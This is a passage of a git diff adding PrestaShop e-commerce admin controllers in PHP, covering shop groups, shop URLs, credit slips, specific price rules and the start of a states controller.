'description' => $this->l('Warning: Enabling the "share customers" and "share orders" options is not recommended. Once activated and orders are created, you will not be able to disable these options. If you need these options, we recommend using several categories rather than several shops.'), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Shop group name:'), + 'name' => 'name', + 'required' => true + ), + array( + 'type' => 'radio', + 'label' => $this->l('Share customers:'), + 'name' => 'share_customer', + 'required' => true, + 'class' => 't', + 'is_bool' => true, + 'disabled' => ($this->id_object && $this->display == 'edit' && ShopGroup::hasDependency($this->id_object, 'customer')) ? true : false, + 'values' => array( + array( + 'id' => 'share_customer_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'share_customer_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + 'desc' => $this->l('Once this option is enabled, the shops in this group will share customers. If a customer registers in any one of these shops, the account will automatically be available in the others shops of this goup. rnrnWarning: you will not be able to disable this option once you have registered customers.'), + ), + array( + 'type' => 'radio', + 'label' => $this->l('Share available quantities to sell:'), + 'name' => 'share_stock', + 'required' => true, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'share_stock_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'share_stock_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + 'desc' => $this->l('Share available quantities between shops of this group. When changing this option, all available products quantities will be reset to 0.'), + ), + array( + 'type' => 'radio', + 'label' => $this->l('Share orders:'), + 'name' => 'share_order', + 'required' => true, + 'class' => 't', + 'is_bool' => true, + 'disabled' => ($this->id_object && $this->display == 'edit' && ShopGroup::hasDependency($this->id_object, 'order')) ? true : false, + 'values' => array( + array( + 'id' => 'share_order_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'share_order_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + 'desc' => $this->l('Once this option is enabled (which is only possible if customers and available quantities are shared among shops), the customer\'s cart will be shared by all shops in this group. This way, any purchase started in one shop will be able to be completed in another shop from the same group. rnrnWarning: You will not be able to disable this option once you\'ve started to accept orders.') + ), + array( + 'type' => 'radio', + 'label' => $this->l('Status:'), + 'name' => 'active', + 'required' => true, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + 'desc' => $this->l('Enable or disable group shops?') + ) + ), + 'submit' => array( + 'title' => $this->l('Save'), + 'class' => 'button' + ) + ); + + if (!($obj = $this->loadObject(true))) + return; + + if (Shop::getTotalShops() > 1 && $obj->id) + $disabled = array( + 'share_customer' => true, + 'share_stock' => true, + 'share_order' => true, + 'active' => false + ); + else + $disabled = false; + + $default_shop = new Shop(Configuration::get('PS_SHOP_DEFAULT')); + $this->tpl_form_vars = array( + 'disabled' => $disabled, + 'checked' => (Tools::getValue('addshop_group') !== false) ? true : false, + 'defaultGroup' => $default_shop->id_shop_group, + ); + + $this->fields_value = array( + 'active' => true + ); + return parent::renderForm(); + } + + public function getList($id_lang, $order_by = null, $order_way = null, $start = 0, $limit = null, $id_lang_shop = false) + { + parent::getList($id_lang, $order_by, $order_way, $start, $limit, $id_lang_shop); + $shop_group_delete_list = array(); + + // test store authorized to remove + foreach ($this->_list as $shop_group) + { + $shops = Shop::getShops(true, $shop_group['id_shop_group']); + if (!empty($shops)) + $shop_group_delete_list[] = $shop_group['id_shop_group']; + } + $this->addRowActionSkipList('delete', $shop_group_delete_list); + } + + public function postProcess() + { + if (Tools::isSubmit('delete'.$this->table) || Tools::isSubmit('status') || Tools::isSubmit('status'.$this->table)) + { + $object = $this->loadObject(); + if (ShopGroup::getTotalShopGroup() == 1) + $this->errors[] = Tools::displayError('You cannot delete or disable the last shop group.'); + else if ($object->haveShops()) + $this->errors[] = Tools::displayError('You cannot delete or disable a shop group in use. '); + + if (count($this->errors)) + return false; + } + return parent::postProcess(); + } + + protected function afterAdd($new_shop_group) + { + //Reset available quantitites + StockAvailable::resetProductFromStockAvailableByShopGroup($new_shop_group); + } + + protected function afterUpdate($new_shop_group) + { + //Reset available quantitites + StockAvailable::resetProductFromStockAvailableByShopGroup($new_shop_group); + } + + public function renderOptions() + { + if ($this->fields_options && is_array($this->fields_options)) + { + $this->display = 'options'; + $this->show_toolbar = true; + + unset($this->toolbar_btn); + $this->initToolbar(); + $helper = new HelperOptions($this); + $this->setHelperDisplay($helper); + $helper->id = $this->id; + $helper->tpl_vars = $this->tpl_option_vars; + $options = $helper->generateOptions($this->fields_options); + + return $options; + } + } +} + + diff --git a/controllers/admin/AdminShopUrlController.php b/controllers/admin/AdminShopUrlController.php new file mode 100755 index 0000000..f7fd28c --- /dev/null +++ b/controllers/admin/AdminShopUrlController.php @@ -0,0 +1,399 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminShopUrlControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'shop_url'; + $this->className = 'ShopUrl'; + $this->lang = false; + $this->requiredDatabase = true; + $this->multishop_context = Shop::CONTEXT_ALL; + $this->id_shop = Tools::getValue('id_shop'); + + $this->context = Context::getContext(); + + if (!Tools::getValue('realedit')) + $this->deleted = false; + + $this->fields_list = array( + 'id_shop_url' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 25 + ), + 'shop_name' => array( + 'title' => $this->l('Shop name'), + 'width' => 150, + 'filter_key' => 's!name' + ), + 'url' => array( + 'title' => $this->l('URL'), + 'filter_key' => 'url', + 'havingFilter' => true + ), + 'main' => array( + 'title' => $this->l('Main URL'), + 'align' => 'center', + 'activeVisu' => 'main', + 'type' => 'bool', + 'orderby' => false, + 'filter_key' => 'main', + 'width' => 100, + ), + 'active' => array( + 'title' => $this->l('Enabled'), + 'align' => 'center', + 'active' => 'status', + 'type' => 'bool', + 'orderby' => false, + 'filter_key' => 'active', + 'width' => 50, + ), + ); + + parent::__construct(); + } + + public function viewAccess($disable = false) + { + return Configuration::get('PS_MULTISHOP_FEATURE_ACTIVE'); + } + + public function renderList() + { + $this->addRowActionSkipList('delete', array(1)); + + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->_select = 's.name AS shop_name, CONCAT(\'http://\', a.domain, a.physical_uri, a.virtual_uri) AS url'; + $this->_join = 'LEFT JOIN `'._DB_PREFIX_.'shop` s ON (s.id_shop = a.id_shop)'; + + if ($id_shop = (int)Tools::getValue('id_shop')) + $this->_where = 'AND a.id_shop = '.$id_shop; + + return parent::renderList(); + } + + public function renderForm() + { + $update_htaccess = Tools::modRewriteActive() && ((file_exists('.htaccess') && is_writable('.htaccess')) || is_writable(dirname('.htaccess'))); + + $this->multiple_fieldsets = true; + if (!$update_htaccess) + $desc_virtual_uri = array( + '<span class="warning_mod_rewrite">'.$this->l('You need to activate URL Rewriting if you want to add a virtual URL.').'</span>' + ); + else + $desc_virtual_uri = array( + $this->l('You can use this option if you want to create a store with a URL that doesn\'t exist on your server (e.g. if you want your store to be available with the URL www.my-prestashop.com/my-store/shoes/, you have to set shoes/ in this field, assuming that my-store/ is your Physical URL).'), + '<strong>'.$this->l('URL rewriting must be activated on your server to use this feature.').'</strong>' + ); + $this->fields_form = array( + array( + 'form' => array( + 'legend' => array( + 'title' => $this->l('URL options') + ), + 'input' => array( + array( + 'type' => 'select', + 'label' => $this->l('Shop:'), + 'name' => 'id_shop', + 'onchange' => 'checkMainUrlInfo(this.value);', + 'options' => array( + 'optiongroup' => array ( + 'query' => Shop::getTree(), + 'label' => 'name' + ), + 'options' => array ( + 'query' => 'shops', + 'id' => 'id_shop', + 'name' => 'name' + ) + ) + ), + array( + 'type' => 'radio', + 'label' => $this->l('Main URL:'), + 'name' => 'main', + 'class' => 't', + 'values' => array( + array( + 'id' => 'main_on', + 'value' => 1, + 'label' => '<img src="../img/admin/enabled.gif" alt="'.$this->l('Enabled').'" title="'.$this->l('Enabled').'" />' + ), + array( + 'id' => 'main_off', + 'value' => 0, + 'label' => '<img src="../img/admin/disabled.gif" alt="'.$this->l('Disabled').'" title="'.$this->l('Disabled').'" />' + ) + ), + 'desc' => array( + $this->l('If you set this URL as the Main URL for the selected shop, all URLs set to this shop will be redirected to this URL (you can only have one Main URL per shop).'), + array( + 'text' => $this->l('Since the selected shop has no main URL, you have to set this URL as the Main URL.'), + 'id' => 'mainUrlInfo' + ), + array( + 'text' => $this->l('The selected shop already has a Main URL. Therefore, if you set this one as the Main URL, the older of the two will be set as the normal URL.'), + 'id' => 'mainUrlInfoExplain' + ) + ) + ), + array( + 'type' => 'radio', + 'label' => $this->l('Status:'), + 'name' => 'active', + 'required' => false, + 'class' => 't', + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => '<img src="../img/admin/enabled.gif" alt="'.$this->l('Enabled').'" title="'.$this->l('Enabled').'" />' + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => '<img src="../img/admin/disabled.gif" alt="'.$this->l('Disabled').'" title="'.$this->l('Disabled').'" />' + ) + ), + 'desc' => $this->l('Enabled or disabled') + ) + ), + 'submit' => array( + 'title' => $this->l('Save'), + 'class' => 'button' + ), + ), + ), + array( + 'form' => array( + 'legend' => array( + 'title' => $this->l('Shop URL') + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Domain:'), + 'name' => 'domain', + 'size' => 50, + ), + array( + 'type' => 'text', + 'label' => $this->l('Domain SSL:'), + 'name' => 'domain_ssl', + 'size' => 50, + ), + array( + 'type' => 'text', + 'label' => $this->l('Physical URL:'), + 'name' => 'physical_uri', + 'desc' => $this->l('This is the physical folder for your store on the server. Leave this field empty if your store is installed on the root path (e.g. if your store is available at www.my-prestashop.com/my-store/, you input my-store/ in this field).'), + 'size' => 50, + ), + array( + 'type' => 'text', + 'label' => $this->l('Virtual URL:'), + 'name' => 'virtual_uri', + 'desc' => $desc_virtual_uri, + 'size' => 50, + 'hint' => (!$update_htaccess) ? $this->l('Warning: URL rewriting (e.g. mod_rewrite for Apache) seems to be disabled. If your URL doesn\'t work, please check with your host provider on how to activate URL rewriting.') : '', + ), + array( + 'type' => 'text', + 'label' => $this->l('Your final URL will be:'), + 'name' => 'final_url', + 'size' => 76, + 'readonly' => true + ), + ), + ), + ), + ); + + if (!($obj = $this->loadObject(true))) + return; + $current_shop = Shop::initialize(); + + $list_shop_with_url = array(); + foreach (Shop::getShops(false, null, true) as $id) + $list_shop_with_url[$id] = (bool)count(ShopUrl::getShopUrls($id)); + + $this->tpl_form_vars = array( + 'js_shop_url' => Tools::jsonEncode($list_shop_with_url) + ); + + $this->fields_value = array( + 'domain' => Validate::isLoadedObject($obj) ? $this->getFieldValue($obj, 'domain') : $current_shop->domain, + 'domain_ssl' => Validate::isLoadedObject($obj) ? $this->getFieldValue($obj, 'domain_ssl') : $current_shop->domain_ssl, + 'physical_uri' => Validate::isLoadedObject($obj) ? $this->getFieldValue($obj, 'physical_uri') : $current_shop->physical_uri, + 'active' => true + ); + + return parent::renderForm(); + } + + public function initToolbar() + { + if ($this->id_object) + $this->loadObject(); + + if (!$this->id_shop && $this->object && $this->object->id_shop) + $this->id_shop = $this->object->id_shop; + + if (!$this->display && $this->id_shop) + $this->toolbar_btn['edit'] = array( + 'desc' => $this->l('Edit this shop'), + 'href' => $this->context->link->getAdminLink('AdminShop').'&updateshop&id_shop='.$this->id_shop, + ); + + parent::initToolbar(); + + $this->show_toolbar = false; + if (isset($this->toolbar_btn['new'])) + $this->toolbar_btn['new'] = array( + 'desc' => $this->l('Add a new URL'), + 'href' => $this->context->link->getAdminLink('AdminShopUrl').'&add'.$this->table.'&id_shop='.$this->id_shop, + ); + + if (isset($this->toolbar_btn['back'])) + $this->toolbar_btn['back']['href'] .= '&id_shop='.$this->id_shop; + } + + public function initContent() + { + $this->list_simple_header = true; + parent::initContent(); + + $this->addJqueryPlugin('cookie-plugin'); + $this->addJqueryPlugin('jstree'); + $this->addCSS(_PS_JS_DIR_.'jquery/plugins/jstree/themes/classic/style.css'); + + if (!$this->display && $this->id_shop) + { + $shop = new Shop($this->id_shop); + $this->toolbar_title[] = $shop->name; + } + + $this->context->smarty->assign(array( + 'toolbar_scroll' => 1, + 'toolbar_btn' => $this->toolbar_btn, + 'title' => $this->toolbar_title, + 'selected_tree_id' => ($this->display == 'edit' ? 'tree-url-'.$this->id_object : (Tools::getValue('id_shop') ? 'tree-shop-'.Tools::getValue('id_shop') : '')), + )); + } + + public function postProcess() + { + $token = Tools::getValue('token') ? Tools::getValue('token') : $this->token; + + $result = true; + if ((isset($_GET['status'.$this->table]) || isset($_GET['status'])) && Tools::getValue($this->identifier)) + { + if ($this->tabAccess['edit'] === '1') + { + if (Validate::isLoadedObject($object = $this->loadObject())) + { + if ($object->main) + $this->errors[] = Tools::displayError('You cannot disable the Main URL.'); + elseif ($object->toggleStatus()) + Tools::redirectAdmin(self::$currentIndex.'&conf=5&token='.$token); + else + $this->errors[] = Tools::displayError('An error occurred while updating the status.'); + } + else + $this->errors[] = Tools::displayError('An error occurred while updating the status for an object.').' <b>'.$this->table.'</b> '.Tools::displayError('(cannot load object)'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + else + $result = parent::postProcess(); + + if ($this->redirect_after) + $this->redirect_after .= '&id_shop='.$this->id_shop; + + return $result; + } + + public function processSave() + { + $object = $this->loadObject(true); + if ($object->canAddThisUrl(Tools::getValue('domain'), Tools::getValue('domain_ssl'), Tools::getValue('physical_uri'), Tools::getValue('virtual_uri'))) + $this->errors[] = Tools::displayError('A shop URL that uses this domain already exists.'); + + $return = parent::processSave(); + if (!$this->errors) + Tools::generateHtaccess(); + + return $return; + } + + public function processAdd() + { + $object = $this->loadObject(true); + + if ($object->canAddThisUrl(Tools::getValue('domain'), Tools::getValue('domain_ssl'), Tools::getValue('physical_uri'), Tools::getValue('virtual_uri'))) + $this->errors[] = Tools::displayError('A shop URL that uses this domain already exists.'); + + if ($object->id && Tools::getValue('main')) + $object->setMain(); + + if ($object->main && !Tools::getValue('main')) + $this->errors[] = Tools::displayError('You cannot change a main URL to a non-main URL. You have to set another URL as your Main URL for the selected shop.'); + + if (($object->main || Tools::getValue('main')) && !Tools::getValue('active')) + $this->errors[] = Tools::displayError('You cannot disable the Main URL.'); + + return parent::processAdd(); + } + + public function processUpdate() + { + $this->redirect_shop_url = false; + $current_url = parse_url($_SERVER['REQUEST_URI']); + if (trim(dirname(dirname($current_url['path'])), '/') == trim($this->object->getBaseURI(), '/')) + $this->redirect_shop_url = true; + + return parent::processUpdate(); + } + + protected function afterUpdate($object) + { + if (Tools::getValue('main')) + $object->setMain(); + + if ($this->redirect_shop_url) + $this->redirect_after = $object->getBaseURI().basename(_PS_ADMIN_DIR_).'/'.$this->context->link->getAdminLink('AdminShopUrl'); + } +} + + diff --git a/controllers/admin/AdminSlipController.php b/controllers/admin/AdminSlipController.php new file mode 100755 index 0000000..49c03e9 --- /dev/null +++ b/controllers/admin/AdminSlipController.php @@ -0,0 +1,178 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminSlipControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'order_slip'; + $this->className = 'OrderSlip'; + $this->fields_list = array( + 'id_order_slip' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 25 + ), + 'id_order' => array( + 'title' => $this->l('ID Order'), + 'align' => 'left' + ), + 'date_add' => array( + 'title' => $this->l('Date issued'), + 'width' => 150, + 'type' => 'date', + 'align' => 'right' + ), + 'id_pdf' => array( + 'title' => $this->l('PDF'), + 'width' => 35, + 'align' => 'center', + 'callback' => 'printPDFIcons', + 'orderby' => false, + 'search' => false, + 'remove_onclick' => true) + ); + + $this->_select = 'a.id_order_slip AS id_pdf'; + $this->optionTitle = $this->l('Slip'); + + $this->fields_options = array( + 'general' => array( + 'title' => $this->l('Credit slip options'), + 'fields' => array( + 'PS_CREDIT_SLIP_PREFIX' => array( + 'title' => $this->l('Credit slip prefix:'), + 'desc' => $this->l('Prefix used for credit slips'), + 'size' => 6, + 'type' => 'textLang' + ) + ), + 'submit' => array() + ) + ); + + parent::__construct(); + } + + public function renderForm() + { + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Print a PDF'), + 'image' => '../img/admin/pdf.gif' + ), + 'input' => array( + array( + 'type' => 'date', + 'label' => $this->l('From:'), + 'name' => 'date_from', + 'size' => 20, + 'maxlength' => 10, + 'required' => true, + 'desc' => $this->l('Format: 2011-12-31 (inclusive)') + ), + array( + 'type' => 'date', + 'label' => $this->l('To:'), + 'name' => 'date_to', + 'size' => 20, + 'maxlength' => 10, + 'required' => true, + 'desc' => $this->l('Format: 2012-12-31 (inclusive)') + ) + ), + 'submit' => array( + 'title' => $this->l('Generate PDF file'), + 'class' => 'button', + 'id' => 'submitPrint' + ) + ); + + $this->fields_value = array( + 'date_from' => date('Y-m-d'), + 'date_to' => date('Y-m-d') + ); + + $this->show_toolbar = false; + return parent::renderForm(); + } + + public function postProcess() + { + if (Tools::getValue('submitAddorder_slip')) + { + if (!Validate::isDate(Tools::getValue('date_from'))) + $this->errors[] = $this->l('Invalid "From" date'); + if (!Validate::isDate(Tools::getValue('date_to'))) + $this->errors[] = $this->l('Invalid "To" date'); + if (!count($this->errors)) + { + $order_slips = OrderSlip::getSlipsIdByDate(Tools::getValue('date_from'), Tools::getValue('date_to')); + if (count($order_slips)) + Tools::redirectAdmin($this->context->link->getAdminLink('AdminPdf').'&submitAction=generateOrderSlipsPDF&date_from='.urlencode(Tools::getValue('date_from')).'&date_to='.urlencode(Tools::getValue('date_to'))); + $this->errors[] = $this->l('No order slips were found for this period.'); + } + } + else + return parent::postProcess(); + } + + public function initContent() + { + $this->initToolbar(); + $this->content .= $this->renderList(); + $this->content .= $this->renderForm(); + $this->content .= '<br>'.$this->renderOptions(); + + $this->context->smarty->assign(array( + 'content' => $this->content, + 'url_post' => self::$currentIndex.'&token='.$this->token, + )); + } + + public function initToolbar() + { + $this->toolbar_btn['save-date'] = array( + 'href' => '#', + 'desc' => $this->l('Generate PDF file') + ); + } + + public function printPDFIcons($id_order_slip, $tr) + { + $order_slip = new OrderSlip((int)$id_order_slip); + if (!Validate::isLoadedObject($order_slip)) + return ''; + + $this->context->smarty->assign(array( + 'order_slip' => $order_slip, + 'tr' => $tr + )); + + return $this->createTemplate('_print_pdf_icon.tpl')->fetch(); + } +} + diff --git a/controllers/admin/AdminSpecificPriceRuleController.php b/controllers/admin/AdminSpecificPriceRuleController.php new file mode 100755 index 0000000..4421b4a --- /dev/null +++ b/controllers/admin/AdminSpecificPriceRuleController.php @@ -0,0 +1,325 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminSpecificPriceRuleControllerCore extends AdminController +{ + public $list_reduction_type; + + public function __construct() + { + $this->table = 'specific_price_rule'; + $this->className = 'SpecificPriceRule'; + $this->lang = false; + + $this->list_reduction_type = array( + 'percentage' => $this->l('Percentage'), + 'amount' => $this->l('Amount') + ); + + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->context = Context::getContext(); + + $this->_select = 's.name shop_name, cu.name currency_name, cl.name country_name, gl.name group_name'; + $this->_join = 'LEFT JOIN '._DB_PREFIX_.'shop s ON (s.id_shop = a.id_shop) + LEFT JOIN '._DB_PREFIX_.'currency cu ON (cu.id_currency = a.id_currency) + LEFT JOIN '._DB_PREFIX_.'country_lang cl ON (cl.id_country = a.id_country AND cl.id_lang='.(int)$this->context->language->id.') + LEFT JOIN '._DB_PREFIX_.'group_lang gl ON (gl.id_group = a.id_group AND gl.id_lang='.(int)$this->context->language->id.')'; + + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + + $this->fields_list = array( + 'id_specific_price_rule' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 25 + ), + 'name' => array( + 'title' => $this->l('Name'), + 'filter_key' => 'a!name', + 'width' => 'auto' + ), + 'shop_name' => array( + 'title' => $this->l('Shop'), + 'filter_key' => 's!name' + ), + 'currency_name' => array( + 'title' => $this->l('Currency'), + 'align' => 'center', + 'filter_key' => 'cu!name' + ), + 'country_name' => array( + 'title' => $this->l('Country'), + 'align' => 'center', + 'filter_key' => 'cl!name' + ), + 'group_name' => array( + 'title' => $this->l('Group'), + 'align' => 'center', + 'filter_key' => 'gl!name' + ), + 'from_quantity' => array( + 'title' => $this->l('From quantity'), + 'align' => 'center', + ), + 'reduction_type' => array( + 'title' => $this->l('Reduction type'), + 'align' => 'center', + 'type' => 'select', + 'filter_key' => 'a!reduction_type', + 'list' => $this->list_reduction_type, + ), + 'reduction' => array( + 'title' => $this->l('Reduction'), + 'align' => 'center', + 'type' => 'decimal' + ), + 'from' => array( + 'title' => $this->l('Beginning'), + 'align' => 'right', + 'type' => 'date', + ), + 'to' => array( + 'title' => $this->l('End'), + 'align' => 'right', + 'type' => 'date' + ), + ); + + parent::__construct(); + } + + public function getList($id_lang, $order_by = null, $order_way = null, $start = 0, $limit = null, $id_lang_shop = false) + { + parent::getList($id_lang, $order_by, $order_way, $start, $limit, $id_lang_shop); + + foreach ($this->_list as $k => $list) + if ($list['reduction_type'] == 'amount') + $this->_list[$k]['reduction_type'] = $this->list_reduction_type['amount']; + else if ($list['reduction_type'] == 'percentage') + $this->_list[$k]['reduction_type'] = $this->list_reduction_type['percentage']; + } + + public function renderForm() + { + if (!$this->object->id) + $this->object->price = -1; + + $shops = Shop::getShops(); + if (count($this->context->employee->getAssociatedShops()) > 1) + $shops = array_merge(array(0 => array('id_shop' => 0, 'name' => $this->l('All shops'))), $shops); + + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Specific price rules'), + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Name'), + 'name' => 'name', + 'size' => 33, + 'maxlength' => 32, + 'required' => true, + 'hint' => $this->l('Forbidden characters').' <>;=#{}' + ), + array( + 'type' => 'select', + 'label' => $this->l('Shop'), + 'name' => 'id_shop', + 'options' => array( + 'query' => $shops, + 'id' => 'id_shop', + 'name' => 'name' + ), + 'condition' => Shop::isFeatureActive(), + 'default_value' => Shop::getContextShopID() + ), + array( + 'type' => 'select', + 'label' => $this->l('Currency'), + 'name' => 'id_currency', + 'options' => array( + 'query' => array_merge(array(0 => array('id_currency' => 0, 'name' => $this->l('All currencies'))), Currency::getCurrencies()), + 'id' => 'id_currency', + 'name' => 'name' + ), + ), + array( + 'type' => 'select', + 'label' => $this->l('Country'), + 'name' => 'id_country', + 'options' => array( + 'query' => array_merge(array(0 => array('id_country' => 0, 'name' => $this->l('All countries'))), Country::getCountries((int)$this->context->language->id)), + 'id' => 'id_country', + 'name' => 'name' + ), + ), + array( + 'type' => 'select', + 'label' => $this->l('Group'), + 'name' => 'id_group', + 'options' => array( + 'query' => array_merge(array(0 => array('id_group' => 0, 'name' => $this->l('All groups'))), Group::getGroups((int)$this->context->language->id)), + 'id' => 'id_group', + 'name' => 'name' + ), + ), + array( + 'type' => 'text', + 'label' => $this->l('From quantity'), + 'name' => 'from_quantity', + 'size' => 6, + 'maxlength' => 10, + 'required' => true, + ), + array( + 'type' => 'text', + 'label' => $this->l('Price (tax excl.)'), + 'name' => 'price', + 'size' => 6, + 'disabled' => ($this->object->price == -1 ? 1 : 0), + 'maxlength' => 10, + 'suffix' => $this->context->currency->getSign('right'), + + ), + array( + 'type' => 'checkbox', + 'name' => 'leave_bprice', + 'values' => array( + 'query' => array( + array( + 'id' => 'on', + 'name' => $this->l('Leave base price'), + 'val' => '1', + 'checked' => '1' + ), + ), + 'id' => 'id', + 'name' => 'name' + ) + ), + array( + 'type' => 'date', + 'label' => $this->l('From'), + 'name' => 'from', + 'size' => 12, + ), + array( + 'type' => 'date', + 'label' => $this->l('To'), + 'name' => 'to', + 'size' => 12, + ), + array( + 'type' => 'select', + 'label' => $this->l('Reduction type'), + 'name' => 'reduction_type', + 'options' => array( + 'query' => array(array('reduction_type' => 'amount', 'name' => $this->l('Amount')), array('reduction_type' => 'percentage', 'name' => $this->l('Percentage'))), + 'id' => 'reduction_type', + 'name' => 'name' + ), + ), + array( + 'type' => 'text', + 'label' => $this->l('Reduction'), + 'name' => 'reduction', + 'required' => true, + ), + ), + 'submit' => array( + 'title' => $this->l('Save'), + 'class' => 'button' + ), + ); + if (($value = $this->getFieldValue($this->object, 'price')) != -1) + $price = number_format($value, 2); + else + $price = ''; + + $this->fields_value = array( + 'price' => $price, + 'from_quantity' => (($value = $this->getFieldValue($this->object, 'from_quantity')) ? $value : 1), + 'reduction' => number_format((($value = $this->getFieldValue($this->object, 'reduction')) ? $value : 0), 2), + 'leave_bprice_on' => $price ? 0 : 1 + ); + + $attribute_groups = array(); + $attributes = Attribute::getAttributes((int)$this->context->language->id); + foreach ($attributes as $attribute) + { + if (!isset($attribute_groups[$attribute['id_attribute_group']])) + $attribute_groups[$attribute['id_attribute_group']] = array( + 'id_attribute_group' => $attribute['id_attribute_group'], + 'name' => $attribute['attribute_group'] + ); + $attribute_groups[$attribute['id_attribute_group']]['attributes'][] = array( + 'id_attribute' => $attribute['id_attribute'], + 'name' => $attribute['name'] + ); + } + $features = Feature::getFeatures((int)$this->context->language->id); + foreach ($features as &$feature) + $feature['values'] = FeatureValue::getFeatureValuesWithLang((int)$this->context->language->id, $feature['id_feature'], true); + + $this->tpl_form_vars = array( + 'manufacturers' => Manufacturer::getManufacturers(), + 'suppliers' => Supplier::getSuppliers(), + 'attributes_group' => $attribute_groups, + 'features' => $features, + 'categories' => Category::getSimpleCategories((int)$this->context->language->id), + 'conditions' => $this->object->getConditions(), + 'is_multishop' => Shop::isFeatureActive() + ); + return parent::renderForm(); + } + + public function processSave() + { + $_POST['price'] = Tools::getValue('leave_bprice_on') ? '-1' : Tools::getValue('price'); + if (Validate::isLoadedObject(($object = parent::processSave()))) + { + $object->deleteConditions(); + foreach ($_POST as $key => $values) + { + if (preg_match('/^condition_group_([0-9]+)$/Ui', $key, $condition_group)) + { + $conditions = array(); + foreach ($values as $value) + { + $condition = explode('_', $value); + $conditions[] = array('type' => $condition[0], 'value' => $condition[1]); + } + $object->addConditions($conditions); + } + } + $object->apply(); + return $object; + } + } +} diff --git a/controllers/admin/AdminStatesController.php b/controllers/admin/AdminStatesController.php new file mode 100755 index 0000000..6b2dc99 --- /dev/null +++ b/controllers/admin/AdminStatesController.php @@ -0,0 +1,241 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminStatesControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'state'; + $this->className = 'State'; + $this->lang = false; + $this->requiredDatabase = true; + + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->context = Context::getContext(); + + if (!Tools::getValue('realedit')) + $this->deleted = false; + + $this->bulk_actions = array( + 'delete' => array('text' => $this->l('Delete selected'), 'confirm' 